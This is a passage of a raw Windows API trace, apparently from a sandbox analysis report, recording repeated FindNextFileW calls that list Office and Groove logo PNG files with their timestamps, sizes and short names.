ftCreationTime.dwLowDateTime=0x199947e2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x199947e2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x199947e2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x79a, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogo.contrast-white_scale-80.png", cAlternateFileName="GROOVE~3.PNG")) returned 1 [0283.490] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x199947e2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x199947e2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x199ba9ea, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogo.scale-100.png", cAlternateFileName="GR37CD~1.PNG")) returned 1 [0283.491] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x199947e2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x199947e2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x199ba9ea, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogo.scale-140.png", cAlternateFileName="GR3AC7~1.PNG")) returned 1 [0283.491] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x199947e2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x199947e2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x199ba9ea, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1add, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogo.scale-180.png", cAlternateFileName="GR7C96~1.PNG")) returned 1 [0283.491] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x199947e2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x199947e2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x199947e2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb09, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogo.scale-80.png", cAlternateFileName="GROOVE~4.PNG")) returned 1 [0283.491] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19a06e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19a06e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6192e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogoSmall.contrast-black_scale-100.png", cAlternateFileName="GRF89D~1.PNG")) returned 1 [0283.491] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19a06e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19a06e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6192e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x81a, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogoSmall.contrast-black_scale-140.png", cAlternateFileName="GR4622~1.PNG")) returned 1 [0283.491] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19a06e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19a06e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19a06e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa56, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogoSmall.contrast-black_scale-180.png", cAlternateFileName="GRBAC6~1.PNG")) returned 1 [0283.491] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19a06e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19a06e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6192e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogoSmall.contrast-black_scale-80.png", cAlternateFileName="GR3641~1.PNG")) returned 1 [0283.492] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19a06e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19a06e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19a06e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6df, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogoSmall.contrast-white_scale-100.png", cAlternateFileName="GR7AE9~1.PNG")) returned 1 [0283.492] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19a06e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19a06e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19a06e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogoSmall.contrast-white_scale-140.png", cAlternateFileName="GRF6AB~1.PNG")) returned 1 [0283.492] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19a06e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19a06e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19a06e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa03, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogoSmall.contrast-white_scale-180.png", cAlternateFileName="GRC8DD~1.PNG")) returned 1 [0283.492] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19a06e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19a06e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19a06e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogoSmall.contrast-white_scale-80.png", cAlternateFileName="GRE586~1.PNG")) returned 1 [0283.492] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19a06e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19a06e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19a06e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa56, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogoSmall.scale-100.png", cAlternateFileName="GREDEF~1.PNG")) returned 1 [0283.492] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19a06e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19a06e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19a06e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd76, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogoSmall.scale-140.png", cAlternateFileName="GR1CBD~1.PNG")) returned 1 [0283.492] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a665235, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogoSmall.scale-180.png", cAlternateFileName="GR6942~1.PNG")) returned 1 [0283.493] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a63f068, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a63f068, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a665235, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x850, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogoSmall.scale-80.png", cAlternateFileName="GR3369~1.PNG")) returned 1 [0283.493] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a63f068, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a63f068, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a665235, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogo.contrast-black_scale-100.png", cAlternateFileName="MS0237~1.PNG")) returned 1 [0283.493] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a63f068, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a63f068, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a665235, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogo.contrast-black_scale-140.png", cAlternateFileName="MS6F5E~1.PNG")) returned 1 [0283.493] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a63f068, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a63f068, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a665235, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogo.contrast-black_scale-180.png", cAlternateFileName="MSA13D~1.PNG")) returned 1 [0283.493] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19a06e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19a06e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a63f068, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogo.contrast-black_scale-80.png", cAlternateFileName="MSACCE~1.PNG")) returned 1 [0283.493] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a63f068, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a63f068, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a63f068, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xba5, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogo.contrast-white_scale-100.png", cAlternateFileName="MS13E6~1.PNG")) returned 1 [0283.494] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6192e9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6192e9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a63f068, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xebc, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogo.contrast-white_scale-140.png", cAlternateFileName="MSACCE~4.PNG")) returned 1 [0283.494] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6192e9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6192e9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a63f068, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x132f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogo.contrast-white_scale-180.png", cAlternateFileName="MSACCE~3.PNG")) returned 1 [0283.494] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6192e9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6192e9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6192e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogo.contrast-white_scale-80.png", cAlternateFileName="MSACCE~2.PNG")) returned 1 [0283.494] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a68b471, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc35, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogo.scale-100.png", cAlternateFileName="MS31C8~1.PNG")) returned 1 [0283.494] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a68b471, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xee8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogo.scale-140.png", cAlternateFileName="MS30DC~1.PNG")) returned 1 [0283.494] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a68b471, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogo.scale-180.png", cAlternateFileName="MS72AB~1.PNG")) returned 1 [0283.495] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a68b471, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogo.scale-80.png", cAlternateFileName="MS2629~1.PNG")) returned 1 [0283.495] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a665235, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x91b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogoSmall.contrast-black_scale-100.png", cAlternateFileName="MS631D~1.PNG")) returned 1 [0283.495] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a665235, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogoSmall.contrast-black_scale-140.png", cAlternateFileName="MS214E~1.PNG")) returned 1 [0283.495] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a665235, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd17, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogoSmall.contrast-black_scale-180.png", cAlternateFileName="MS7EC2~1.PNG")) returned 1 [0283.495] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a665235, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x730, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogoSmall.contrast-black_scale-80.png", cAlternateFileName="MS389C~1.PNG")) returned 1 [0283.495] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a665235, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogoSmall.contrast-white_scale-100.png", cAlternateFileName="MS74CC~1.PNG")) returned 1 [0283.495] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a665235, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xab2, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogoSmall.contrast-white_scale-140.png", cAlternateFileName="MSA29A~1.PNG")) returned 1 [0283.495] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a68b471, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a68b471, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6b16ff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd17, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogoSmall.contrast-white_scale-180.png", cAlternateFileName="MSFF1F~1.PNG")) returned 1 [0283.495] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a68b471, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a68b471, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6b16ff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x733, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogoSmall.contrast-white_scale-80.png", cAlternateFileName="MSE33B~1.PNG")) returned 1 [0283.496] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a68b471, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a68b471, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6b16ff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogoSmall.scale-100.png", cAlternateFileName="MSBF6D~1.PNG")) returned 1 [0283.496] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a68b471, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a68b471, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6b16ff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb43, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogoSmall.scale-140.png", cAlternateFileName="MS1EB3~1.PNG")) returned 1 [0283.496] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a68b471, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a68b471, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6b16ff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogoSmall.scale-180.png", cAlternateFileName="MSDBE4~1.PNG")) returned 1 [0283.496] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a68b471, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x79f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogoSmall.scale-80.png", cAlternateFileName="MSF5B2~1.PNG")) returned 1 [0283.496] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a68b471, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a68b471, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6b16ff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x878, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogo.contrast-black_scale-100.png", cAlternateFileName="MSPUBL~4.PNG")) returned 1 [0283.497] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a68b471, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a68b471, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a68b471, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xad5, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogo.contrast-black_scale-140.png", cAlternateFileName="MSPUBL~3.PNG")) returned 1 [0283.497] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a68b471, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a68b471, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a68b471, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd19, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogo.contrast-black_scale-180.png", cAlternateFileName="MSPUBL~2.PNG")) returned 1 [0283.497] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, 